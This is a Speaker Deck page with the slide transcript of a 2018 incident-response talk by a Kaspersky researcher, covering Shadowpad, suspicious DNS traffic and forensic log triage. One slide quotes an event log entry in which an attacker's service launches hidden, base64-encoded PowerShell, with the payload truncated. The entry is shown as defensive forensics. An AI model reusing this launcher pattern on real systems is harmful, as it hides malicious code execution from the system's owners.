Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Sergey Golovanov - Indecent Response 2018
Search
DC7499
February 10, 2018
Education
590
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Sergey Golovanov - Indecent Response 2018
DC7499
February 10, 2018
More Decks by DC7499
See All by DC7499
Sergey Sobko - Hackashop: Hackathon + Pentest + Workshop [RU]
defcon
0
590
Dmitry Sklyarov - Intel ME: Security keys Genealogy, Obfuscation and other Magic
defcon
0
310
Anton Lopanitsyn - Initial reconnaissance of web applications.
defcon
0
320
Dmitry Volkov - Private messengers: without pain??
defcon
1
260
Andrey Skuratov and Sergey Migalin - DNS tunneling in 2018. What is that, and what to do with it?
defcon
2
240
Sergey Belov - Another side of Bug Bounty programs
defcon
0
330
Dmitry Sklyarov - Intel ME: Flash file system explained
defcon
0
580
Maxim Goryachiy & Mark Ermolov - Inside Intel Management Engine
defcon
0
690
Kupreev Oleg & Putin Vladimir - Your very own driver for the custom NVMe device from the scratch: reading of the flash memory of iPhone 7
defcon
1
680
Other Decks in Education
See All in Education
2026年度春学期 統計学 第5回 分布をまとめるー記述統計量(平均・分散など) (2026. 5. 7)
akiraasano
PRO
0
220
Visionary Initiative: Materials-Positive Society 「モノの進化をポジティブな社会の原動力に」|Science Tokyo(東京科学大学)
sciencetokyo
PRO
0
730
[2026前期火5] 論理学(京都大学文学部 前期 第6回)「かつとまたはの規則」
yatabe
0
440
モブ社員がモブエンジニアを名乗って得られたこと_20260413
masakiokuda
4
560
2026年度春学期 統計学 第7回 データの関係を知る(2)ー 回帰と決定係数 (2026. 5. 21)
akiraasano
PRO
0
230
[2026前期火5] 論理学(京都大学文学部 前期 第14回)「計算は、証明ではない——ハルシネーションを三層ハーモニーで診る」
yatabe
0
110
良書紹介08_ 頭のいい子がやっているすごいグラフの読み方
bunnchinn3
0
120
勾配ブースティングと決定木の話 / gradient boosting and decision trees
kaityo256
PRO
7
1.7k
アラムコSTEAMチャレンジ 実践報告書
codeforeveryone
0
180
Beyond the Prompt: Programming as a Pathway to Statistical Thinking
minecr
0
250
Where Data Meets Storytelling
georgesinnott
0
130
면접관 눈에 띄는 데이터 분석 포트폴리오 만드는 법 | 2026년 5월 세미나
datarian
0
900
Featured
See All Featured
The Impact of AI in SEO - AI Overviews June 2024 Edition
aleyda
5
1.1k
Mind Mapping
helmedeiros
PRO
1
290
ReactJS: Keep Simple. Everything can be a component!
pedronauck
666
130k
The agentic SEO stack - context over prompts
schlessera
0
850
Navigating the moral maze — ethical principles for Al-driven product design
skipperchong
2
420
Agile Actions for Facilitating Distributed Teams - ADO2019
mkilby
0
220
Groundhog Day: Seeking Process in Gaming for Health
codingconduct
0
250
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
52
6k
16th Malabo Montpellier Forum Presentation
akademiya2063
PRO
0
270
Tips & Tricks on How to Get Your First Job In Tech
honzajavorek
1
610
How to Grow Your eCommerce with AI & Automation
katarinadahlin
PRO
1
230
Abbi's Birthday
coloredviolet
3
8.7k
Transcript
Indecent response 2018 Sergey @k1k_ Golovanov Principal Security Researcher Kaspersky
Lab
Challenge: find a SDC bus speed
None
Agenda 1.Shadowpad 2.0x403AA91EE 4.Plans 3.Scanner2
1.Shadowpad
Case overview: 1.Antifraud system in a bank is detecting printing
of a lot of elite cards for the last several hours 2.Bank is starting network audit 3.Bank is discovering suspicion DNS requests 4.Forensics can not find malware on PCs 5.Bank asks for help…
DNS requests
None
None
“Our worldwide customers range from small businesses right up to
global Fortune 500 companies.” NetSarang AmericanExpress BankofAmericaCorp. BankofChina BNPParibas Citigroup DeutscheBank Fortis GeneralElectric INGGroup MerrillLynch MorganStanley ShinhanFinancialGroup SocieteGenerale UBS https://webcache.googleusercontent.com/search?q=cache:m7Nc1_mRksgJ:https://www.netsara ng.com/about/client.html+&cd=1&hl=ru&ct=clnk&gl=ru
https://securelist.com/shadowpad -in-corporate-networks/81432/
What was done?
AutoMA – static analysis framework
Shadowpad after autoMA
Miniduke after autoMA
2.0x403AA91EE
Case overview:
None
None
How to find suspicion DNS requests? sort | uniq -c
| sort -rn
How to find suspicion powershell? sort | uniq -c |
sort -rn
parse_evtx.exe System.evtx | findstr /i "power" | more Record #2396788
2027.02.22-08:03:00 'Computer':PC1', 'Channel':'System', 'EventSourceName':'Service Control Manager', 'Guid':‘GUID'Name':'Service Control Manager', 'xmlns':'http://schemas.microsoft.com/win/2004/08/events/event', 'Level':04, 'Opcode':00, 'Task':0000, 'EventID':7045 (A service was installed in the system.), 'Qualifiers':16384, 'Keywords':8080000000000000, 'SystemTime':2027.02.22-08:03:00, 'ProcessID':00000648, 'ThreadID':00010692, 'EventRecordID':0000000002396788, 'Version':00, 'UserID':SID, 'ServiceName':‘1aec4f0', 'ImagePath':'%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A FMAdAByAGUAYQBtACgA
https://github.com/KasperskyLab/ForensicsTools/
3.Scanner2
Case overview: 1. No money 2. No logs 3. No
team 4. No idea about network 5. CISO!
What to do? we need logs we need mfts we
need regs
WE NEED TO RECOMPILE EVERYTHING!
Awesome batch file
How to find something suspicion ? sort | uniq -c
| sort -rn
https://cdn.securelist.com/files/ 2017/12/HappyNewYear.zip
4. PLANS
1. MFT is a hell. Sleuthkit is not enough. We
need more data about deleted files. 2. USN J is required with no HDD touch. 3. Reg analysis is needed with unallocated part.
Agenda 1.Shadowpad 2.0x403AA91EE 4.Plans 3.Scanner2
Зачем?
None
Thank you! Sergey @k1k_ Golovanov Principal Security Researcher Kaspersky Lab